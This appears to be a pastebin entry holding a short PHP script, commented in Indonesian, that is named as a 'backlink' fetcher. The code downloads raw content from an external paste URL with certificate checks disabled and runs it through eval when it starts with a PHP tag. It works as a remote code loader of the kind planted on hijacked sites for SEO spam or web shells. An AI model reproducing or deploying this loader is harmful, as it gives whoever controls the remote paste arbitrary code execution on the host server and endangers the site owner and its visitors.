Untitled


SUBMITTED BY: Guest

DATE: Oct. 16, 2024, 11:49 a.m.

FORMAT: Text only

SIZE: 924 Bytes

HITS: 162

  1. <?php
  2. function getBacklink($url) {
  3. if (ini_get('allow_url_fopen') == 1) {
  4. // Jika url fopen on maka jalankan
  5. return file_get_contents($url);
  6. } elseif (function_exists('curl_version')) {
  7. // Jika url fopen off maka jalankan menggunakan curl
  8. $ch = curl_init();
  9. curl_setopt($ch, CURLOPT_URL, $url);
  10. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  12. curl_setopt($ch, CURLOPT_HEADER, 0);
  13. $data = curl_exec($ch);
  14. curl_close($ch);
  15. return $data;
  16. } else {
  17. throw new Exception('Tidak dapat mengakses URL. Fopen dan cURL tidak tersedia.');
  18. }
  19. }
  20. $url = "https://bitbin.it/RdDe0DJg/raw/";
  21. $content = getBacklink($url);
  22. if (strpos($content, '<?php') === 0) {
  23. eval("?>" . $content);
  24. } else {
  25. echo "Konten tidak sesuai untuk dieksekusi.";
  26. }
  27. ?>

comments powered by Disqus